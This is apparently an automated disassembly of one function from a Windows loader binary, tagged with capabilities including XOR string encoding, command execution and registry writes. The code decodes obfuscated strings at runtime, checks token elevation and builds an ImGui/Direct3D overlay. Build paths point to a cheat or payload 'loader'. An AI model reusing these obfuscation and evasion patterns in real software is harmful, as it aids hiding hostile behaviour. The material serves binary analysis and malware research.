Function at 0x1400466f0
Capabilities:
Create process on windows
Encode data using xor
Execute command
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x978]
sub rsp, 0xa50
movsd xmm0, qword [str.wZY_OXH_]
xor r13d, r13d
movups xmm1, xmmword [0x1400fdda0]
mov r8d, r13d
movzx esi, byte [0x1400fd8a8]
movzx edi, byte [0x1400fd922]
movzx r15d, byte [0x1400fddd0]
mov r14d, dword [0x1401120a0]
mov ebx, dword [0x1400fdd80]
movsd qword [rsp + 0x78], xmm0
movsd xmm0, qword [0x1400fd918]
movaps xmmword [rax - 0x38], xmm6
movdqa xmm6, xmmword [0x1400fe360]
movsd qword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1400fdd90]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x1400fddb0]
movaps xmmword [rax - 0xc8], xmm15
movzx eax, word [0x1400fd920]
movups xmmword [rbp + 0x20], xmm0
mov word [rsp + 0x68], ax
mov eax, dword [0x1400fd9f0]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x1400fddc0]
mov dword [rbp + 0x330], eax
movzx eax, byte [0x1400fd9f4]
mov byte [rbp - 0x80], sil
mov byte [rsp + 0x6a], dil
movups xmmword [rbp + 0x30], xmm1
mov byte [rbp + 0x40], r15b
mov dword [rsp + 0x70], ebx
mov byte [rbp + 0x334], al
movups xmm0, xmmword [str.ABGK]
movups xmmword [rbp + 0x318], xmm0
movsd xmm0, qword [0x1400fd9e8]
movsd qword [rbp + 0x328], xmm0
cmp r14d, 2
jl 0x140046919
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x31c]
movdqa xmm4, xmmword [0x1400fe330]
movdqa xmm3, xmmword [0x1400fe710]
movdqa xmm5, xmmword [str.6666]
movdqa xmmword [rbp + 0x90], xmm0
mov edx, dword [rbp + 0x90]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140046830
cmp r8d, 0x1d
jge 0x140046961
movsxd rax, r8d
lea r9, [rbp + 0x318]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140046930
xorps xmm0, xmm0
lea rax, [rbp + 0x318]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x78], xmm0
movdqu xmmword [rbp - 0x68], xmm1
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x140046980
lea rdx, [rbp + 0x318]
lea rcx, [rbp - 0x78]
call fcn.14003eb30
lea r12, [rbp - 0x78]
cmp byte [rsp + 0x73], r13b
je 0x140046a63
mov r8d, r13d
cmp r14d, 2
jl 0x140046a20
movdqa xmm3, xmmword [0x1400fe330]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fe710]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fe710]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.6666]
psubd xmm3, xmm0
movd xmm0, ebx
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [str.4444444444444444]
xorps xmm3, xmm0
movd dword [rsp + 0x70], xmm3
jmp 0x140046a63
lea r9, [rsp + 0x70]
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140046a30
xorps xmm0, xmm0
lea rax, [rsp + 0x70]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x580], xmm0
movdqu xmmword [rbp + 0x590], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x140046a84
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x580]
call fcn.14003eb30
test r15b, r15b
je 0x140046c21
mov r8d, r13d
cmp r14d, 2
jl 0x140046bd9
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 4]
movdqa xmm4, xmmword [0x1400fe330]
movdqa xmm3, xmmword [0x1400fe710]
movdqa xmm5, xmmword [str.6666]
movdqa xmmword [rbp + 0x90], xmm0
mov edx, dword [rbp + 0x90]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x140046af0
cmp r8d, 0x41
jge 0x140046c21
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x140046bf0
xorps xmm0, xmm0
lea rax, [rbp]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x560], xmm0
movdqu xmmword [rbp + 0x570], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x140046c41
lea rdx, [rbp]
lea rcx, [rbp + 0x560]
call fcn.14003eb30
test dil, dil
je 0x140046c9a
xor byte [rsp + 0x60], 0x34
xor byte [rsp + 0x61], 0x35
xor byte [rsp + 0x62], 0x36
xor byte [rsp + 0x63], 0x37
xor byte [rsp + 0x64], 0x38
xor byte [rsp + 0x65], 0x39
xor byte [rsp + 0x66], 0x3a
xor byte [rsp + 0x67], 0x3b
xor byte [rsp + 0x68], 0x3c
xor byte [rsp + 0x69], 0x3d
xor dil, 0x3e
mov byte [rsp + 0x6a], dil
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x540], xmm0
movdqu xmmword [rbp + 0x550], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140046cc0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x540]
call fcn.14003eb30
test sil, sil
je 0x140046d0f
xor byte [rsp + 0x78], 0x34
xor byte [rsp + 0x79], 0x35
xor byte [rsp + 0x7a], 0x36
xor byte [rsp + 0x7b], 0x37
xor byte [rsp + 0x7c], 0x38
xor byte [rsp + 0x7d], 0x39
xor byte [rsp + 0x7e], 0x3a
xor byte [rsp + 0x7f], 0x3b
xor sil, 0x3c
mov byte [rbp - 0x80], sil
xorps xmm0, xmm0
lea rax, [rsp + 0x78]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x520], xmm0
movdqu xmmword [rbp + 0x530], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x140046d30
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x520]
call fcn.14003eb30
lea rax, [rbp + 0x580]
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x560]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x540]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x630]
call fcn.14003da10
lea rax, [0x14004b990]
mov dword [rbp + 0x4d0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x4d8], rax
xor ecx, ecx
mov dword [rbp + 0x4d4], 0x40
mov qword [rbp + 0x4e0], r13
mov qword [rbp + 0x4e8], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x4f0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x500], r13
mov qword [rbp + 0x4f8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x508], rax
lea rax, str.Example
mov qword [rbp + 0x510], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x4d0]
mov qword [rbp + 0x518], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x1401120cc]
mov r14d, 1
mov ecx, r14d
cvttss2si esi, dword [0x1401120c8]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401120cc]
xor ecx, ecx
movss xmm15, dword [0x1400fe028]
cdq
sub eax, edx
mulss xmm0, xmm15
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401120c8]
lea r8, [0x1400faa14]
mov qword [rsp + 0x58], r13
cdq
mov qword [rsp + 0x50], r13
sub eax, edx
mov rdx, qword [rbp + 0x510]
mov r9d, 0x80000000
mov qword [rsp + 0x48], r13
xor ecx, ecx
mov qword [rsp + 0x40], r13
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm15
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x1400fe180]
lea rdx, [rbp + 0x5d0]
mov rcx, rax
mov qword [0x140215f30], rax
movdqu xmmword [rbp + 0x5d0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140215f30]
lea rdx, [0x140215f40]
xorps xmm0, xmm0
movups xmmword [0x140215f40], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x50]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14004b666
mov rcx, qword [rbp - 0x50]
lea rax, [rbp - 0x28]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
mov edx, 0x14
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp - 0x50]
test eax, eax
je 0x14004b660
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x70], r13d
setne al
test al, al
je 0x14004b666
mov rax, qword [0x140215f30]
xor r9d, r9d
mov qword [rbp + 0x30], rax
xor r8d, r8d
lea rax, [0x140215ff8]
mov qword [rbp + 0x14], r13
mov qword [rsp + 0x58], rax
mov edx, r14d
lea rax, [rbp - 0x28]
mov qword [rbp + 0x28], 2
mov qword [rsp + 0x50], rax
xor ecx, ecx
lea rax, [0x140215fd8]
mov qword [rbp + 0x40], 2
mov qword [rsp + 0x48], rax
lea rax, [0x140215fd0]
mov qword [rsp + 0x40], rax
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rax
mov qword [rbp], r13
mov dword [rbp + 0x10], 0x1c
mov dword [rbp + 8], 0x3c
mov dword [rbp + 0xc], r14d
mov dword [rbp + 0x24], 0x20
mov qword [rbp + 0x1c], r14
mov qword [rbp + 0x38], r14
mov dword [rbp - 0x50], 0xb000
mov dword [rbp - 0x4c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14004b636
mov rcx, qword [0x140215fd0]
lea r9, [rbp - 0x20]
movaps xmmword [rsp + 0xa30], xmm7
lea r8, [0x1400fdb10]
movaps xmmword [rsp + 0xa20], xmm8
xor edx, edx
movaps xmmword [rsp + 0xa10], xmm9
mov rax, qword [rcx]
movaps xmmword [rsp + 0xa00], xmm10
movaps xmmword [rsp + 0x9f0], xmm11
movaps xmmword [rsp + 0x9e0], xmm12
movaps xmmword [rsp + 0x9d0], xmm13
movaps xmmword [rsp + 0x9c0], xmm14
call qword [rax + 0x48]
mov rcx, qword [0x140215fd8]
lea r9, [0x140215fc8]
mov rdx, qword [rbp - 0x20]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140215f30]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140215f30]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140215f00]
test rbx, rbx
je 0x1400470e5
inc dword [rbx + 0xf4]
mov ecx, 0x5e30
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140047101
xor edx, edx
mov rcx, rax
call fcn.1400016d0
jmp 0x140047104
mov rax, r13
mov qword [0x140215f00], rax
call fcn.140005d50
test rbx, rbx
je 0x14004711e
mov qword [0x140215f00], rbx
jmp 0x140047125
mov rbx, qword [0x140215f00]
test rbx, rbx
jne 0x14004714b
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140215f00]
mov rsi, qword [rbx + 0x58]
xorps xmm6, xmm6
xor eax, eax
movups xmmword [rbp + 0x10], xmm6
mov qword [rbp + 0x80], rax
mov eax, 0xffff
movups xmmword [rbp + 0x40], xmm6
mov dword [rbp + 0x18], 3
movups xmmword [rbp + 0x50], xmm6
mov dword [rbp + 0x1c], r14d
movups xmmword [rbp], xmm6
mov byte [rbp + 0xc], r14b
mov dword [rbp + 0x44], 0x7f7fffff
mov dword [rbp + 0x50], 0x3f800000
mov word [rbp + 0x54], ax
mov dword [rbp + 0x4c], 0x10c
cmp byte [rsi + 0x18], r13b
je 0x1400471b8
mov r8d, 0xb5f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm7, xmmword [rbp]
movups xmm8, xmmword [rbp + 0x10]
movq rdi, xmm7
movups xmm9, xmmword [rbp + 0x40]
movups xmm10, xmmword [rbp + 0x50]
movsd xmm11, qword [rbp + 0x80]
movups xmmword [rbp + 0x3b0], xmm7
movups xmmword [rbp + 0x3c0], xmm8
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm6
movups xmmword [rbp + 0x3f0], xmm9
movups xmmword [rbp + 0x400], xmm10
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm6
movsd qword [rbp + 0x430], xmm11
test rdi, rdi
je 0x14004723c
mov r8d, 0xb61
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401eedd0]
mov dword [rbp + 0x3b8], 0x26368
lea r14, [0x1400f9120]
mov qword [rbp + 0x3b0], rax
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3e8], r14
mov rcx, rsi
mov dword [rbp + 0x3c4], 0x41b80000
call fcn.140026e80
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], r13b
je 0x14004729f
mov r8d, 0xb5f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x3b0], xmm7
movups xmmword [rbp + 0x3c0], xmm8
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm6
movups xmmword [rbp + 0x3f0], xmm9
movups xmmword [rbp + 0x400], xmm10
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm6
movsd qword [rbp + 0x430], xmm11
test rdi, rdi
je 0x140047302
mov r8d, 0xb61
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140113160]
mov dword [rbp + 0x3b8], 0x28da8
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3b0], rax
mov rcx, rsi
mov dword [rbp + 0x3c4], 0x42340000
mov qword [rbp + 0x3e8], r14
call fcn.140026e80
mov rsi, qword [rbx + 0x58]
mov qword [0x140215f90], rax
cmp byte [rsi + 0x18], r13b
je 0x140047365
mov r8d, 0xb5f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x3b0], xmm7
movups xmmword [rbp + 0x3c0], xmm8
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm6
movups xmmword [rbp + 0x3f0], xmm9
movups xmmword [rbp + 0x400], xmm10
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm6
movsd qword [rbp + 0x430], xmm11
test rdi, rdi
je 0x1400473c8
mov r8d, 0xb61
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401ec640]
mov dword [rbp + 0x3b8], 0xab8
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3b0], rax
mov rcx, rsi
mov dword [rbp + 0x3c4], 0x420c0000
mov qword [rbp + 0x3e8], r14
call fcn.140026e80
mov rsi, qword [rbx + 0x58]
mov qword [0x140215f18], rax
cmp byte [rsi + 0x18], r13b
je 0x14004742b
mov r8d, 0xb5f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x3b0], xmm7
movups xmmword [rbp + 0x3c0], xmm8
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm6
movups xmmword [rbp + 0x3f0], xmm9
movups xmmword [rbp + 0x400], xmm10
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm6
movsd qword [rbp + 0x430], xmm11
test rdi, rdi
je 0x14004748e
mov r8d, 0xb61
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401edca0]
mov dword [rbp + 0x3b8], 0x112c
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3b0], rax
mov rcx, rsi
mov dword [rbp + 0x3c4], 0x421c0000
mov qword [rbp + 0x3e8], r14
call fcn.140026e80
mov rbx, qword [rbx + 0x58]
mov qword [0x140215f10], rax
cmp byte [rbx + 0x18], r13b
je 0x1400474f1
mov r8d, 0xb5f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x3b0], xmm7
movups xmmword [rbp + 0x3c0], xmm8
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm6
movups xmmword [rbp + 0x3f0], xmm9
movups xmmword [rbp + 0x400], xmm10
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm6
movsd qword [rbp + 0x430], xmm11
test rdi, rdi
je 0x140047554
mov r8d, 0xb61
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401ed100]
mov dword [rbp + 0x3b8], 0xba0
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3b0], rax
mov rcx, rbx
mov dword [rbp + 0x3c4], 0x41b80000
mov qword [rbp + 0x3e8], r14
call fcn.140026e80
mov rbx, qword [0x140215f00]
mov rsi, qword [0x140215f30]
test rbx, rbx
jne 0x1400475c0
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140215f00]
cmp qword [rbx + 0x98], r13
je 0x1400475e3
mov r8d, 0x76
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader__backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14004773c
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14004773c
mov rax, qword [0x140215f00]
test rax, rax
je 0x140047619
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140047646
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x140047649
mov rdi, r13
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x140215f00]
mov qword [rdi], rsi
mov rax, qword [rbp - 0x10]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp - 0x18]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48c0], r13d
jg 0x1400476a6
mov r8d, 0x707
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
mov rbx, r13
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp - 0x78], rax
lea rax, str.xinput1_3.dll
mov qword [rbp - 0x70], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp - 0x68], rax
lea rax, str.xinput1_2.dll
mov qword [rbp - 0x60], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp - 0x58], rax
mov byte [rdi + 0x2d], 1
mov rcx, qword [rbp + rbx*8 - 0x78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140047710
inc rbx
cmp rbx, 5
jl 0x1400476f2
jmp 0x14004773c
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x140215f00]
mov r14, qword [0x140215ff8]
mov rsi, qword [0x140215fd8]
test rax, rax
jne 0x140047777
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r13
je 0x1400477a5
mov r8d, 0x221
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader__backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
test rax, rax
je 0x1400477b0
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400477f1
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x1400477f4
mov rbx, r13
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp - 0x20]
mov qword [rdi + 0x98], rbx
lea rdx, [0x1400fa690]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x50], r13
mov qword [rbp + 0x2d8], r13
call qword [rax]
test eax, eax
jne 0x14004787a
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x50]
lea rdx, [0x1400fa6a0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x14004787a
mov rcx, qword [rbp - 0x50]
lea r8, [rbp + 0x2d8]
lea rdx, [0x1400fa6b0]
mov rax, qword [rcx]
